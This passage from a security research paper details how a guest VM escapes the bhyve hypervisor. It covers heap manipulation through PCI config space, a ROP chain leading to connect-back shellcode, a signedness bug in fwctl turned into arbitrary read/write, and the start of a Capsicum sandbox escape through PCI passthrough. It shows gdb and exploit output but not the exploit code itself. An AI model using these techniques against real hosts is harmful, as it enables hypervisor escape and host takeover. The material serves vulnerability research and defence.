All the techniques discussed so far depends on the SMI handler's ability to allocate and free memory, i.e. unlinking mevent structure. This section discusses another way to allocate/deallocate memory using PCI config space emulation and further explore ways to exploit the bug without running into jemalloc arbitrary free() issue.

Bhyve emulates access to config space address port 0xCF8 and config space data port 0xCFC using pci_emul_cfgaddr() and pci_emul_cfgdata() defined in pci_emul.c. pci_emul_cfgdata() further calls pci_cfgrw() for handling r/w access to PCI configuration space. The interesting part of emulation for the exploitation of this bug is the access to the command register.

static void

pci_cfgrw(struct vmctx *ctx, int vcpu, int in, int bus, int slot, int func, int coff, int bytes, uint32_t *eax)

{

. . .

} else if (coff >= PCIR_COMMAND && coff < PCIR_REVID) { pci_emul_cmdsts_write(pi, coff, *eax, bytes); . . .

}

The PCI command register is at an offset 4 bytes into the config space header. When the command register is accessed, pci_emul_cmdsts_write() is invoked to handle the access.

static void

pci_emul_cmdsts_write(struct pci_devinst *pi, int coff, uint32_t new, int bytes)

{

. . .

cmd = pci_get_cfgdata16(pi, PCIR_COMMAND); /* stash old value

*/

. . .

CFGWRITE(pi, coff, new, bytes); /* update config */

cmd2 = pci_get_cfgdata16(pi, PCIR_COMMAND); /* get updated

value */

changed = cmd ^ cmd2;

. . .

for (i = 0; i <= PCI_BARMAX; i++) { switch (pi‑>pi_bar[i].type) {

. . .

case PCIBAR_MEM32: case PCIBAR_MEM64:

/* MMIO address space decoding changed' */

if (changed & PCIM_CMD_MEMEN) {

if (memen(pi))

register_bar(pi, i);

else

unregister_bar(pi, i);

}

. . .

}

The bit 0 in the command register specifies if the device can respond to I/O space access and bit 1 specifies if the device can respond to memory space access. When the bits are unset, the respective BARs are unregistered. When a BAR is registered using register_bar() or unregistered using unregister_bar(), modify_bar_registration() in pci_emul.c is invoked. Registering or unregistering a BAR mapping I/O space address, only involves modifying 'inout_handlers' array. Interestingly, registering or unregistering a BAR mapping memory space address involves allocation and deallocation of heap memory. When a memory range is registered for MMIO emulation, it gets added to the 'mmio_rb_root' red‑black tree.

Let us consider the case of framebuffer device which allocates 2 memory BARs in pci_fbuf_init() function defined in pci_fbuf.c

static int

pci_fbuf_init(struct vmctx *ctx, struct pci_devinst *pi, char *opts) {

. . .

pci_set_cfgdata16(pi, PCIR_DEVICE, 0x40FB); pci_set_cfgdata16(pi, PCIR_VENDOR, 0xFB5D);

. . .

error = pci_emul_alloc_bar(pi, 0, PCIBAR_MEM32, DMEMSZ); assert(error == 0);

error = pci_emul_alloc_bar(pi, 1, PCIBAR_MEM32, FB_SIZE); . . .

}

The series of calls made during BAR allocation looks like pci_emul_alloc_bar() ‑> pci_emul_alloc_pbar() ‑> register_bar() ‑> modify_bar_registration() ‑> register_mem() ‑> register_mem_int()

static void

modify_bar_registration(struct pci_devinst *pi, int idx, int registration) {

. . .

switch (pi‑>pi_bar[idx].type) {

. . .

case PCIBAR_MEM32:

case PCIBAR_MEM64:

bzero(&mr, sizeof(struct mem_range)); mr.name = pi‑>pi_name;

mr.base = pi‑>pi_bar[idx].addr; mr.size = pi‑>pi_bar[idx].size; if (registration) {

. . .

error = register_mem(&mr); } else

error = unregister_mem(&mr);

. . .

}

register_mem_int() or unregister_mem() in mem.c handle the actual allocation or deallocation. During registration, a 'mmio_rb_range' structure is allocated and gets added to the red‑black tree. During unregister, the same node gets freed using RB_REMOVE().

static int

register_mem_int(struct mmio_rb_tree *rbt, struct mem_range *memp) {

. . .

mrp = malloc(sizeof(struct mmio_rb_range));

if (mrp != NULL) {

. . .

if (mmio_rb_lookup(rbt, memp‑>base, &entry) != 0) err = mmio_rb_add(rbt, mrp);

. . .

}

int

unregister_mem(struct mem_range *memp)

{

. . .

err = mmio_rb_lookup(&mmio_rb_root, memp‑>base, &entry); if (err == 0) {

. . .

RB_REMOVE(mmio_rb_tree, &mmio_rb_root, entry); . . .

}

Hence by disabling memory space decoding in the PCI command register, it is possible to free 'mmio_rb_range' structure associated with a device. Also, by re‑enabling the memory space decoding, 'mmio_rb_range' structure can be allocated. The same operations can also be triggered by writing to PCI BAR, which calls update_bar_address() in pci_emul.c. However, unregister_bar() and register_bar() are called together as part of the write operation to PCI BAR, unlike independent events when enabling and disabling BAR decoding in the command register.

The 'mmio_rb_range' structure is of size 104 bytes and serviced by bins of size 112 bytes. When both BARs are unregistered by writing to the command register, the pointers to the freed memory is pushed into 'avail' pointers of thread cache structure. To allocate the 'mmio_rb_range' structure of framebuffer device at an address controlled by guest, overwrite the cached pointers in tbins[7].avail array with the address of guest memory as detailed in section 3.3 and then re‑enable memory space decoding. Below is the state of the heap when framebuffer BARs are freed:

(gdb) info threads

Id Target Id Frame

* 1 LWP 100154 of process 1318 "mevent" 0x000000080121198a in _kevent () * from /lib/libc.so.7

2 LWP 100157 of process 1318 "blk‑4:0‑0" 0x0000000800ebf67c in _umtx_op_err () from /lib/libthr.so.3

. . .

12 LWP 100167 of process 1318 "vcpu 0" 0x00000008012297da in ioctl () from /lib/libc.so.7

13 LWP 100168 of process 1318 "vcpu 1" 0x00000008012297da in ioctl () from /lib/libc.so.7

(gdb) thread 12

[Switching to thread 12 (LWP 100167 of process 1318)]

#0 0x00000008012297da in ioctl () from /lib/libc.so.7

(gdb) x/gx $fs_base‑152

0x800691898:0x0000000801b6f000

(gdb) print ((struct tcache_s *)0x0000000801b6f000)‑>tbins[7] $4 = {tstats = {nrequests = 28}, low_water = 0, lg_fill_div = 1, ncached = 2, avail = 0x801b72508}

(gdb) x/2gx 0x801b72508‑(2*8)

0x801b724f8:0x0000000801a650e00x0000000801a65150

This technique entirely skips the jemalloc arbitrary free, since mevent_delete() is not used. Guest can directly modify the handler, arg1 and arg2 elements of the 'mmio_rb_range' structure. Once modified, access a memory mapped by BAR0 or BAR1 of the framebuffer device to gain RIP control. Below is the output from the proof of concept code:

root@linuxguest:~/setupA/vga_pci_exploit# ./exploit

exploit: [+] CPU affinity set to vCPU0

exploit: [+] Writing to PCI command register to free memory exploit: [+] Reading bhyve process memory...

exploit: [+] Leaked tcache avail pointers @ 0x801b72508 exploit: [+] Offset of tbin avail pointer = 0xfe410

exploit: [+] Guest base address = 0x802000000

exploit: [+] Shared data structures mapped @ 0x812000000 exploit: [+] Overwriting tbin avail pointers...

exploit: [+] Writing to PCI command register to reallocate freed memory exploit: [+] Triggering MMIO read for RIP control

root@:~ # gdb ‑q ‑p 16759

Attaching to process 16759

Reading symbols from /usr/sbin/bhyve...Reading symbols from /usr/lib/debug//usr/sbin/bhyve.debug...done.

done.

. . .

(gdb) c

Continuing.

Thread 12 "vcpu 0" received signal SIGBUS, Bus error. [Switching to LWP 100269 of process 16759]

0x0000000000412189 in mem_read (ctx=0x801a15080, vcpu=0, gpa=3221241856, rval=0x7fffdebf3d70, size=1, arg=0x812000020) at /usr/src/usr.sbin/bhyve/mem.c:143

143/usr/src/usr.sbin/bhyve/mem.c: No such file or directory. (gdb) x/i $rip

=> 0x412189 <mem_read+121>:callq *%r10

(gdb) p/x $r10

$1 = 0x4242424242424242

‑‑[ 5 ‑ Notes on ROP payload and process continuation

The ROP payload used in the exploit performs the following operations: ‑ Clear the 'mmio_hint' by setting it to NULL. If not, the fake structure 'mmio_rb_range' structure will be used forever by the guest for any MMIO access

‑ Save an address pointing to the stack and use this later for process continuation

‑ Leak an address to 'syscall' gadget in libc by reading the GOT entry of ioctl() call. Use this further for making any syscall

‑ Call mprotect() to make a guest‑controlled memory RWX for executing shellcode

‑ Jump to the connect back shellcode

‑ Set RAX to 0 before returning from the hijacked function call. If not, this is treated as an error on emulation and abort() is called, i.e. no process continuation!

‑ Restore the stack using the saved stack address for process continuation

When mem_read() is called, the 'rval' argument passed to it is a pointer to a stack variable:

static int

mem_read(void *ctx, int vcpu, uint64_t gpa, uint64_t *rval, int size, void *arg)

{

int error;

struct mem_range *mr = arg;

error = (*mr‑>handler)(ctx, vcpu, MEM_F_READ, gpa, size,

rval, mr‑>arg1, mr‑>arg2);

return (error);

}

As per the calling convention, 'rval' value is present in register R9 when the ROP payload starts executing during the invocation of 'mr‑>handler'. The below instruction sequence in mem_write() provides a nice way to save the R9 register value by controlling the RBP value. This saved value is used to return to the original call stack without crashing the bhyve process.

0x0000000000412218 <+120>:mov %r9,‑0x68(%rbp) 0x000000000041221c <+124>:mov %r10,%r9 0x000000000041221f <+127>:mov ‑0x68(%rbp),%r10 0x0000000000412223 <+131>:mov %r10,(%rsp) 0x0000000000412227 <+135>:mov %r11,0x8(%rsp) 0x000000000041222c <+140>:mov ‑0x60(%rbp),%r10 0x0000000000412230 <+144>:callq *%r10

Here concludes the first part of the paper on exploiting the VGA memory corruption bug.

‑‑[ 6 ‑ Vulnerability in Firmware Configuration device

Firmware Configuration device (fwctl) allows the guest to retrieve specific host provided configuration like vCPU count, during initialization. The device is enabled by bhyve when the guest is configured to use a bootrom such as UEFI firmware.

fwctl.c implements the device using a request/response messaging protocol over I/O ports 0x510 and 0x511. The messaging protocol uses 5 states ‑ DORMANT, IDENT_WAIT, IDENT_SEND, REQ or RESP for its operation.

‑ DORMANT, the state of the device before initialization

‑ IDENT_WAIT, the state of the device when it is initialized by calling fwctl_init()

‑ IDENT_SEND, device moves to this state when the guest writes WORD 0 to I/O port 0x510

‑ REQ, the final stage of the initial handshake is to read byte by byte from I/O port 0x511. The signature 'BHYV' is returned to the guest and moves the device into REQ state after the 4 bytes read. When the device is in REQ state, guest can request configuration information ‑ RESP, once the guest request is complete, the device moves to RESP state. In this state, the device services the request and goes back to REQ state for handling the next request

The interesting states here are REQ and RESP, where the device performs operations using guest provided inputs. Guest requests are handled by function fwctl_request() as below:

static int

fwctl_request(uint32_t value)

{

. . .

switch (rinfo.req_count) {

case 0:

. . .

rinfo.req_size = value;

. . .

case 1:

rinfo.req_type = value; rinfo.req_count++;

break;

case 2:

rinfo.req_txid = value; rinfo.req_count++;

ret = fwctl_request_start(); break;

default:

ret = fwctl_request_data(value);

. . .

}

Guest can set the value of 'rinfo.req_size' when the request count 'rinfo.req_count' is 0, and for each request from the guest, 'rinfo.req_count' is incremented. The messaging protocol defines a set of 5 operations OP_NULL, OP_ECHO, OP_GET, OP_GET_LEN and OP_SET out of which only OP_GET and OP_GET_LEN are supported currently. The request type (operation) 'rinfo.req_type' could be set to either of this. Once the required information is received, fwctl_request_start() validates the request:

static int

fwctl_request_start(void)

{

. . .

rinfo.req_op = &errop_info;

if (rinfo.req_type <= OP_MAX && ops[rinfo.req_type] != NULL) rinfo.req_op = ops[rinfo.req_type];

err = (*rinfo.req_op‑>op_start)(rinfo.req_size);

if (err) {

errop_set(err);

rinfo.req_op = &errop_info;

}

. . .

}

'req_op‑>op_start' calls fget_start() to validate the 'rinfo.req_size' provided by the guest as detailed below:

#define FGET_STRSZ 80

. . .

static int

fget_start(int len)

{

if (len > FGET_STRSZ)

return(E2BIG);

. . .

}

. . .

static struct req_info {

. . .

uint32_t req_size;

uint32_t req_type;

uint32_t req_txid;

. . .

} rinfo;

The 'req_size' element in 'req_info' structure is defined as an unsigned integer, but fget_start() defines its argument 'len' as a signed integer. Thus, a large unsigned integer such as 0xFFFFFFFF will bypass the validation 'len > FGET_STRSZ' as a signed integer comparison is performed [21][22].

fwctl_request() further calls fwctl_request_data() after a successful validation in fwctl_request_start():

static int

fwctl_request_data(uint32_t value)

{

. . .

rinfo.req_size ‑= sizeof(uint32_t);

. . .

(*rinfo.req_op‑>op_data)(value, remlen);

if (rinfo.req_size < sizeof(uint32_t)) { fwctl_request_done();

return (1);

}

return (0);

}

'(*rinfo.req_op‑>op_data)' calls fget_data() to store the guest data into an array 'static char fget_str[FGET_STRSZ]':

static void

fget_data(uint32_t data, int len)

{

*((uint32_t *) &fget_str[fget_cnt]) = data; fget_cnt += sizeof(uint32_t);

}

fwctl_request_data() decrements 'rinfo.req_size' by 4 bytes on each request and reads until 'rinfo.req_size < sizeof(uint32_t)'. 'fget_cnt' is used as index into the 'fget_str' array and gets increment by 4 bytes on each request. Since 'rinfo.req_size' is set to a large value 0xFFFFFFFF, 'fget_cnt' can be incremented beyond FGET_STRSZ and overwrite the memory adjacent to 'fget_str' array. We have an out‑of‑bound write in the bss segment!

Since 0xFFFFFFFF bytes of data is too much to read in, the device cannot be transitioned into RESP state until 'rinfo.req_size < sizeof(uint32_t)'. However, this state transition is not a requirement for exploiting the bug.

‑‑[ 7 ‑ Exploitation of fwctl bug

For the sake of simplicity of setup, we enable the fwctl device by default even when a bootrom is not specified. The below patch is applied to bhyve running on FreeBSD 11.2‑RELEASE #0 r335510 host:

‑‑‑ bhyverun.c.orig

+++ bhyverun.c

@@ ‑1019,8 +1019,7 @@

assert(error == 0);

}

‑ if (lpc_bootrom())

‑ fwctl_init();

+ fwctl_init();

#ifndef WITHOUT_CAPSICUM

bhyve_caph_cache_catpages();

Rest of this section will detail about the memory layout and techniques to convert the out‑of‑bound write to a full process r/w.

‑‑‑‑[ 7.1 ‑ Analysis of memory layout in the bss segment

Unlike the heap, the memory adjacent to 'fget_str' has a deterministic layout since it is allocated in the .bss segment. Moreover, FreeBSD does not have ASLR or PIE, which helps in the exploitation of the bug.

Following memory layout was observed in the test environment:

char fget_str[80];

struct {

size_t f_sz;

uint32_t f_data[1024];

} fget_buf;

uint64_t padding;

struct iovec fget_biov[2];

size_t fget_size;

uint64_t padding;

struct inout_handlers handlers[65536];

. . .

struct mmio_rb_range *mmio_hint[VM_MAXCPU];

Guest will be able to overwrite everything beyond 'fget_str' array. Corrupting 'f_sz' or 'fget_size' is not very interesting as the name sounds. The first interesting target is the array of 'iovec' structures since it has a pointer 'iov_base' and length 'iov_len' which gets used in the RESP state of the device.

struct iovec {

void *iov_base;

size_t iov_len;

}

However, the device never reaches the RESP state due to the large value of 'rinfo.req_size' (0xFFFFFFFF). The next interesting target in the array of 'inout_handlers' structure.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

|+‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑

|| || | |

||fget_str[80]|| fget_buf |....|inout_handlers[0...0xffff]||mmio_hint||

|| || | |

|+‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑[ 7.2 ‑ Out of bound write to full process r/w

Corrupting 'inout_handlers' structure provides useful primitives for exploitation as already detailed in section 4.2. In the VGA exploit, corrupting the 'arg' pointer of VGA I/O port allows the guest to access memory relative to the 'arg' pointer by accessing the 'dac_palette' array. This section describes how a full process r/w can be achieved.

Let's analyze how the access to PCI I/O space BARs are emulated in bhyve. This is done using pci_emul_io_handler() in pci_emul.c:

static int

pci_emul_io_handler(struct vmctx *ctx, int vcpu, int in, int port, int bytes,

uint32_t *eax, void *arg)

{

struct pci_devinst *pdi = arg;

struct pci_devemu *pe = pdi‑>pi_d;

. . .

offset = port ‑ pdi‑>pi_bar[i].addr; if (in)

*eax = (*pe‑>pe_barread)(ctx, vcpu, pdi, i,

offset, bytes);

else

(*pe‑>pe_barwrite)(ctx, vcpu, pdi, i,

offset, bytes, *eax);

. . .

}

Here, 'arg' is a pointer to 'pci_devinst' structure, which holds 'pci_bar' structure and a pointer to 'pci_devemu' structure. All these structures are defined in 'pci_emul.h':

struct pci_devinst {

struct pci_devemu *pi_d;

. . .

void *pi_arg; /* devemu‑private data */

u_char pi_cfgdata[PCI_REGMAX + 1];

struct pcibar pi_bar[PCI_BARMAX + 1];

};

'pci_devemu' structure has callbacks specific to each of the virtual devices. The callbacks of interest for this section are 'pe_barwrite' and 'pe_barread', which are used for handling writes and reads to BAR mapping I/O memory space:

struct pci_devemu {

char *pe_emu; /* Name of device emulation */

. . .

/* BAR read/write callbacks */

void (*pe_barwrite)(struct vmctx *ctx, int vcpu,

struct pci_devinst *pi, int baridx,

uint64_t offset, int size, uint64_t

value);

uint64_t (*pe_barread)(struct vmctx *ctx, int vcpu,

struct pci_devinst *pi, int baridx,

uint64_t offset, int size);

};

'pci_bar' structure stores information about the type, address and size of BAR:

struct pcibar {

enum pcibar_type type; /* io or memory */

uint64_t size;

uint64_t addr;

};

By overwriting any 'inout_handlers‑>handler' with pointer to pci_emul_io_handler() and 'arg' with pointer to fake 'pci_devinst' structure, it is possible to control the calls to 'pe‑>pe_barread' and 'pe‑>pe_barwrite' and its arguments 'pi', 'offset' and 'value'. Next part of the analysis is to find a 'pe_barwrite' and 'pe_barread' callback useful for full process r/w.

Bhyve has a dummy PCI device initialized in pci_emul.c which suits this purpose:

#define DIOSZ 8

#define DMEMSZ 4096

struct pci_emul_dsoftc {

uint8_t ioregs[DIOSZ];

uint8_t memregs[2][DMEMSZ];

};

. . .

static void

pci_emul_diow(struct vmctx *ctx, int vcpu, struct pci_devinst *pi, int baridx,

uint64_t offset, int size, uint64_t value)

{

int i;

struct pci_emul_dsoftc *sc = pi‑>pi_arg;

. . .

if (size == 1) { sc‑>ioregs[offset] = value & 0xff; } else if (size == 2) { *(uint16_t *)&sc‑>ioregs[offset] = value & 0xffff; } else if (size == 4) { *(uint32_t *)&sc‑>ioregs[offset] = value; . . .

}

static uint64_t

pci_emul_dior(struct vmctx *ctx, int vcpu, struct pci_devinst *pi, int baridx,

uint64_t offset, int size)

{

struct pci_emul_dsoftc *sc = pi‑>pi_arg;

. . .

if (size == 1) {

value = sc‑>ioregs[offset]; } else if (size == 2) { value = *(uint16_t *) &sc‑>ioregs[offset]; } else if (size == 4) { value = *(uint32_t *) &sc‑>ioregs[offset]; . . .

}

pci_emul_diow() and pci_emul_dior() are the 'pe_barwrite' and 'pe_barread' callbacks for this dummy device. Since 'pci_devinst' structure is fake, 'pi‑>pi_arg' could be set to an arbitrary value. Read and write to 'ioregs' or 'memregs' could access any memory relative to the arbitrary address set in 'pi‑>pi_arg'.

Guest can now overwrite the 'inout_handlers[0]' structure as detailed above and access I/O port 0 to trigger memory read or write relative to fake 'pi_arg'. Though this is good enough to exploit the bug, we still do not have full process arbitrary r/w.

In order to access multiple addresses of choice, multiple fake 'pci_devinst' structure needs to be created, i.e. I/O port 0 with fake 'pi_arg' pointer to address X, I/O port 1 with fake pointer 'pi_arg' to address Y and so on.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Representations |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑+

| | Fake | +‑‑‑>+‑‑‑‑+ | Fake | | |

| | pci_devinst | | FI | | pci_devemu | | |

| | +‑‑‑‑‑‑‑‑‑+ | |+‑‑+|

| | | pi_d | | ||PD|| | |pe_barread | | +‑‑‑>+‑‑‑‑+ |

| | +‑‑‑‑‑‑‑‑‑+ | |+‑‑+| FE | |

| | +‑‑‑‑‑‑‑‑‑+ | |+‑‑+|

| | | pi_arg | | ||PA|| | |pe_barwrite| | | |

| | +‑‑‑‑‑‑‑‑‑+ | |+‑‑+|

| | | +‑‑‑>+‑‑‑‑+

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑+

|

|

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑+

| | Fake | |

| |inout_handlers | |

| | | |

| | | +‑‑‑>+‑‑‑‑+

| | +‑‑‑‑‑‑+ | | IO |

| | | arg | | +‑‑‑>+‑‑‑‑+

| | +‑‑‑‑‑‑+ | |

| | | |

| | | |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Fake Structures

+‑‑‑‑‑

|

+‑‑‑‑‑‑+‑‑‑‑‑

| |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑

| | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑

|+‑‑‑‑‑‑‑‑+ +‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑

|| | | | | | fget_buf | | || || ||

|| | | +‑‑‑v‑‑++‑‑‑v‑‑++‑‑v‑‑‑++‑‑‑‑+ | | || || ||

|| | | | FI[0]|| FI[1]|| FI[N]|| | | | || || ||

|| | | | +‑‑+ || +‑‑+ || +‑‑+ ||

||fget_str| | | |PD| || |PD| || |PD| || | | |IO[0]||IO[1]||IO[N]||

|| | | | +‑‑+ || +‑‑+ || +‑‑+ ||FE | | | || || ||

|| | | | +‑‑+ || +‑‑+ || +‑‑+ ||

|| | | | |PA| || |PA| || |PA| || | | | || || ||

|| | | | +‑++ || +‑++ || +‑++ ||

|| | | +‑‑‑+‑‑++‑‑‑+‑‑++‑‑‑+‑‑++

|+‑‑‑‑‑‑‑‑+ +‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑

| | |

| | |

| | |

v | |

+‑‑‑‑‑‑‑‑‑+ | |

|Address X| | |

+‑‑‑‑‑‑‑‑‑+ | |

v |

+‑‑‑‑‑‑‑‑‑+ |

|Address Y| |

+‑‑‑‑‑‑‑‑‑+ |

v

+‑‑‑‑‑‑‑‑‑

|Address N|

+‑‑‑‑‑‑‑‑‑

Instead, guest could create 2 fake 'pci_devinst' structure by corrupting 'inout_handlers' structures for I/O port 0 and 1. First 'pi_arg' could point to the address of 'fget_cnt'. fget_data() writes data into 'fget_str' array using 'fget_cnt' as index. Since 'fget_cnt' controls the relative write from 'fget_str', it can be used to modify second 'pi_arg' or any other memory adjacent to 'fget_str'.

So, the idea is to perform the following

‑ Corrupt inout_handlers[0] so that 'pi_arg' in 'pci_devinst' structure points to 'fget_cnt'

‑ Corrupt inout_handlers[1] such that 'pi_arg' in 'pci_devinst' is initially set to NULL

‑ Set fget_cnt value using I/O port 0, such that fget_str[fget_cnt] points to 'pi_arg' of I/O port 1

‑ Use fwctl write operation to set 'pi_arg' of I/O port 1 to arbitrary address

‑ Use I/O port 1, to read or write to the address set in the previous step ‑ Above 3 steps could be repeated to perform read or write to anywhere in memory

‑ Alternatively, inout_handlers[0] could also be set up to write directly to 'pi_arg' of I/O port 1

Fake Structures

+

|

+‑‑‑‑‑‑+

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| +‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑+ +‑‑‑‑+‑‑‑‑‑‑+

| | | | | | | |fget_buf | | || ||

| | | | | |+‑‑‑v‑‑++‑‑v‑‑‑+ +‑‑‑‑+ | | || ||

| | | | | || FI[0]|| FI[1]| | | | | || ||

| | | | | || +‑‑+ || +‑

| |fget_cnt| |fget_str| || |PD| || |PD| | | | | |IO[0]||IO[1]||

| | | | | || +‑‑+ || +‑FE | | | || ||

| | | | | || +‑‑+ || +‑

| | | | | || |PA| || |PA| | | | | | || ||

| | | | | || ++‑+ || +^

| | | | | |+‑‑+‑‑‑++‑‑+

| +‑+‑‑‑^‑‑+ +‑‑‑‑‑‑‑‑+ +‑‑‑+‑‑‑‑‑‑‑+

+‑‑‑+‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+

| | | |

| | | |

| | | |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

| FI[0]‑>pi_arg | |

| points to fget_cnt | |

| to set index | |

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

fget_str[fget_cnt] |

points to |

FI[1]‑>pi_arg |

v

+‑‑‑‑‑‑

| Arbitrary R/W |

+‑‑‑‑‑‑

From here guest could re‑use any of the technique used in VGA exploit for RIP and RSP control. The attached exploit code uses 'mmio_hint' overwrite.

‑‑[ 8 ‑ Sandbox escape using PCI passthrough

Bhyve added support for capsicum sandbox [9] through changes [10] [11]. Addition of capsicum is a huge security improvement as a large number of syscalls are filtered, and any code execution in bhyve is limited to the sandboxed process.

The user space process enters capability mode after performing all the initialization in main() function of bhyverun.c:

int

main(int argc, char *argv[])

{

. . .

#ifndef WITHOUT_CAPSICUM

. . .

if (cap_enter() == ‑1 && errno != ENOSYS) errx(EX_OSERR, "cap_enter() failed");

#endif

. . .

}

The sandbox specific code in bhyve is wrapped within the preprocessor directive 'WITHOUT_CAPSICUM', such that one can also build bhyve without capsicum support if needed. Searching for 'WITHOUT_CAPSICUM' in the codebase will give a fair understanding of the restrictions imposed on the bhyve process. The sandbox reduces capabilities of open file descriptors using cap_rights_limit(), and for file descriptors having CAP_IOCTL capability, cap_ioctls_limit() is used to whitelist the allowed set of IOCTLs.

However, virtual devices do interact with kernel drivers in the host. A bug in any of the whitelisted IOCTL command could allow code execution in the context of the host kernel. This attack surface is dependent on the virtual devices enabled in the guest VM and the descriptors opened by them during initialization. Another interesting attack surface is the VMM itself. The VMM kernel module has a bunch of IOCTL commands, most of which are reachable by default from within the sandbox.

This section details about a couple of sandbox escapes through PCI passthrough implementation in bhyve [12]. PCI passthrough in bhyve allows a guest VM to directly interact with the underlying hardware device exclusively available for its use. However, there are some exceptions:

‑ Guest is not allowed to modify the BAR registers directly

‑ Read and write access to the BAR and MSI capability registers in the PCI configuration space are emulated

PCI passthrough devices are initialized using passthru_init() function in pci_passthru.c. passthru_init() further calls cfginit() to initialize MSI and BARs for PCI using cfginitmsi() and cfginitbar() respectively. cfginitbar() allocates the BAR in guest address space using pci_emul_alloc_pbar() and then maps the physical BAR address to the guest address space using vm_map_pptdev_mmio():

static int

cfginitbar(struct vmctx *ctx, struct passthru_softc *sc)

{

. . .

for (i = 0; i <= PCI_BARMAX; i++) {

. . .

if (ioctl(pcifd, PCIOCGETBAR, &bar) < 0) . . .

/* Cache information about the "real" BAR */

sc‑>psc_bar[i].type = bartype; sc‑>psc_bar[i].size = size; sc‑>psc_bar[i].addr = base;

/* Allocate the BAR in the guest I/O or MMIO space */

error = pci_emul_alloc_pbar(pi, i, base, bartype, size); . . .

/* The MSI‑X table needs special handling */

if (i == pci_msix_table_bar(pi)) { error = init_msix_table(ctx, sc, base); . . .

} else if (bartype != PCIBAR_IO) { /* Map the physical BAR in the guest MMIO space */

error = vm_map_pptdev_mmio(ctx, sc‑>psc_sel.pc_bus,

sc‑>psc_sel.pc_dev, sc‑>psc_sel.pc_func,

pi‑>pi_bar[i].addr, pi‑>pi_bar[i].size,

base);

. . .

}

}

vm_map_pptdev_mmio() API is part of libvmmapi library and defined in vmmapi.c. It calls VM_MAP_PPTDEV_MMIO IOCTL command to create the mappings for host memory in the guest address space. The IOCTL requires the bus, slot, func details of the passthrough device, the guest physical address 'gpa' and the host physical address 'hpa' as parameters:

int

vm_map_pptdev_mmio(struct vmctx *ctx, int bus, int slot, int func, vm_paddr_t gpa, size_t len, vm_paddr_t hpa) {

. . .

pptmmio.gpa = gpa;

pptmmio.len = len;

pptmmio.hpa = hpa;

return (ioctl(ctx‑>fd, VM_MAP_PPTDEV_MMIO, &pptmmio)); }

BARs for MSI‑X Table and MSI‑X Pending Bit Array (PBA) are handled differently from memory or I/O BARs. MSI‑X Table is not directly mapped to the guest address space but emulated. MSI‑X Table and MSI‑X PBA could use two separate BARs, or they could be mapped to the same BAR. When mapped to the same BAR, MSI‑X structures could also end up sharing a page, though the offsets do not overlap. So MSI‑X emulation considers the below conditions:

‑ MSI‑X Table does not exclusively map a BAR

‑ MSI‑X Table and MSI‑X PBA maps the same BAR

‑ MSI‑X Table and MSI‑X PBA maps the same BAR and share a page

The interesting case for sandbox escape is the emulation when MSI‑X Table and MSI‑X PBA share a page. Let's take a closer look at init_msix_table():

static int

init_msix_table(struct vmctx *ctx, struct passthru_softc *sc, uint64_t base)

{

. . .

if (pi‑>pi_msix.pba_bar == pi‑>pi_msix.table_bar) { . . .

/*

* The PBA overlaps with either the first or last * page of the MSI‑X table region. Map the * appropriate page. */

if (pba_offset <= table_offset)

pi‑>pi_msix.pba_page_offset = table_offset;

else

pi‑>pi_msix.pba_page_offset = table_offset

+

table_size ‑ 4096;

pi‑>pi_msix.pba_page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, memfd, start + pi‑>pi_msix.pba_page_offset); . . .

}

. . .

/* Map everything before the MSI‑X table */

if (table_offset > 0) {

len = table_offset;

error = vm_map_pptdev_mmio(ctx, b, s, f, start, len, base); . . .

/* Skip the MSI‑X table */

. . .

/* Map everything beyond the end of the MSI‑X table */

if (remaining > 0) {

len = remaining;

error = vm_map_pptdev_mmio(ctx, b, s, f, start, len, base); . . .

}

All physical pages before and after the MSI‑X table are directly mapped into the guest address space using vm_map_pptdev_mmio(). Access to PBA on page shared by MSI‑X table and MSI‑X PBA is emulated by mapping the /dev/mem interface using mmap(). Read or write to PBA is allowed based on the offset of memory access in the page and any direct access to MSI‑X table on the shared page is avoided. The handle to /dev/mem interface is opened during passthru_init() and remains open till the lifetime of the process:

#define _PATH_MEM "/dev/mem"

. . .

static int

passthru_init(struct vmctx *ctx, struct pci_devinst *pi, char *opts) {

. . .

if (memfd < 0) {

memfd = open(_PATH_MEM, O_RDWR, 0);

. . .

cap_rights_set(&rights, CAP_MMAP_RW);
